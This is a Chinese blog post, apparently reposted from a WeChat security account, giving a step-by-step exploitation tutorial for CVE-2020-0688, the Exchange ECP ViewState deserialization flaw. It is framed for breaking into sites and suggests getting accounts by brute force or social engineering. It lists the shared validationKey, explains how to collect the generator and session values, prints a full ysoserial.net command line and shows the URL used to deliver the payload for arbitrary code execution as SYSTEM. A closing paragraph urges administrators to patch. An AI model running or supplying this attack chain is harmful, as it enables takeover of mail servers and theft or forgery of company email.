工具 https://github.com/incredibleindishell/ysoserial.net-complied
漏洞利用视频:https://youtu.be/7d_HoQ0LVy8
日站的时候相信大家都碰到过exchange。。。我就不介绍exchange是啥了。。
漏洞利用条件:
所有exchange的漏洞都需要⼀个普通权限的登录账号,exchange的账号获取⽅式我们⼀般采⽤爆破或者社工等方式 自行想办法!!!
Microsoft表示此错误是由于内存损坏漏洞引起的,并且可以通过发送到易受攻击的Exchange服务器的特制电子邮件加以利用。此后,他们已将其文字修改为(正确)表明该漏洞是由Exchange Server在安装时未能正确创建唯一的加密密钥导致的。
具体来说,该错误可在Exchange控制面板(ECP)组件中找到。该错误的性质非常简单。而不必在每个安装的基础上随机生成的密钥,Microsoft Exchange服务器的所有安装有相同validationKey和decryptionKey价值观web.config。这些密钥用于为ViewState提供安全性。ViewState是ASP.NET Web应用程序在客户端上以序列化格式存储的服务器端数据。客户端通过__VIEWSTATErequest参数将此数据提供回服务器。
图1:包含静态validationKey的web.config文件的摘录。
由于使用了静态密钥,经过身份验证的攻击者可以诱使服务器反序列化恶意制作的ViewState数据。借助YSoSerial.net,攻击者可以在Exchange控制面板Web应用程序(运行为)的上下文中在服务器上执行任意.NET代码SYSTEM
。
要利用此漏洞,我们需要从经过身份验证的会话中收集ViewStateUserKey
和的__VIEWSTATEGENERATOR
值。该ViewStateUserKey
可从ASP.NET中获得_SessionID
的cookie,而ViewStateUserKey
可以在一个隐藏字段中找到。使用浏览器中的标准开发人员工具可以轻松获得所有这些信息。
首先,浏览至该/ecp/default.aspx
页面并登录。所使用的帐户无需具有任何特殊特权。在此示例中,我们使用名为的帐户user
:
要继续,我们需要收集一些信息。最有价值的部分是已知的:
validationkey= CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
validationalg=SHA1
要获取ViewStateUserKey和__VIEWSTATEGENERATOR,请打开开发工具(F12)的网络标签,然后按F5重新发送请求。/ecp/default.aspx登录时,我们需要请求的原始响应:
如您所见,该__VIEWSTATEGENERATOR值在页面源中可见。在此示例中,其值为B97B4E27。您的价值极有可能是相同的。接下来,打开Headers标签并在中找到ASP.NET_SessionIdcookie Request headers:
在此示例中,其值为05ae4b41-51e1-4c3a-9241-6b87b169d663。
现在,我们掌握了进行攻击所需的所有信息:
–validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
–validationalg = SHA1
–generator = B97B4E27
–viewstateuserkey = 05ae4b41-51e1-4c3a-9241-6b87b169d663
下一步是使用ysoserial.net生成ViewState有效负载。我们将通过创建文件来生成一个有效负载来演示代码的执行C:Vuln_Server.txt:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c “echo OOOPS!!! > c:/Vuln_Server.txt” –validationalg=”SHA1″ –validationkey=”CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF” –generator=”B97B4E27″ –viewstateuserkey=”05ae4b41-51e1-4c3a-9241-6b87b169d663″ –isdebug –islegacy
-c 参数就是你要执行的命令。。。。。
最后,我们需要对ViewState有效负载进行URL编码并按如下所示构造URL:
/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>
替换生成器和上面获得的URL编码的ViewState。
然后,我们只需将结果URL粘贴到浏览器地址栏中,即可将其提交给Exchange服务器:
服务器抱怨500 Unexpected Error,但是攻击成功。检查对目标服务器的影响:
果然,文件Vuln_Server.txt现在存在。检查文件上的所有权信息,确认该文件是由具有SYSTEM令牌的进程创建的。
这表明攻击者可以以SYSTEM身份执行任意代码,并完全破坏目标Exchange服务器。
结论
Microsoft在2020年2月将此漏洞修补为CVE-2020-0688。根据他们的文章,他们通过“更正Microsoft Exchange在安装过程中创建密钥的方式”来解决此漏洞。换句话说,他们现在在安装时将加密密钥随机化。Microsoft在严重性上将其评为“重要”,这可能是因为攻击者必须首先进行身份验证。但是,应注意,在企业内部,几乎所有用户都将被允许向Exchange服务器进行身份验证。同样,任何破坏设备或企业用户凭据的外部攻击者都可以继续接管Exchange服务器。完成此操作后,攻击者将可以随意泄露或伪造公司电子邮件通信。因此,如果您是Exchange Server管理员,您应该将其视为关键级补丁,并在测试完成后立即进行部署。Microsoft列出的漏洞利用指数为1,这表示他们希望在补丁发布后30天内看到漏洞利用。如所证明的,这似乎确实有可能。
本篇文章来源于微信公众号: web安全研究院
原创文章,作者:web安全研究院,如若转载,请注明出处:http://wp.wexiaocheng.com/archives/5061